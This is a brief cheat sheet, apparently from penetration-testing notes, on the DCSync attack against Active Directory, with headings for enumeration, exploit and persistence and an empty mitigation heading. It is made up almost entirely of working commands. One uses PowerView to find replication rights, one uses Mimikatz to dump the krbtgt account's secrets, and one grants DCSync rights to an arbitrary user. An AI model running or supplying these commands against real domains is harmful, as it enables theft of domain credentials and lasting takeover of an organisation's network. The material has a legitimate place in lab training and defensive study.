DCSync
DCSync
Enumeration
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')}Exploit
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'Persistence
Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -VerboseMitigation
最后更新于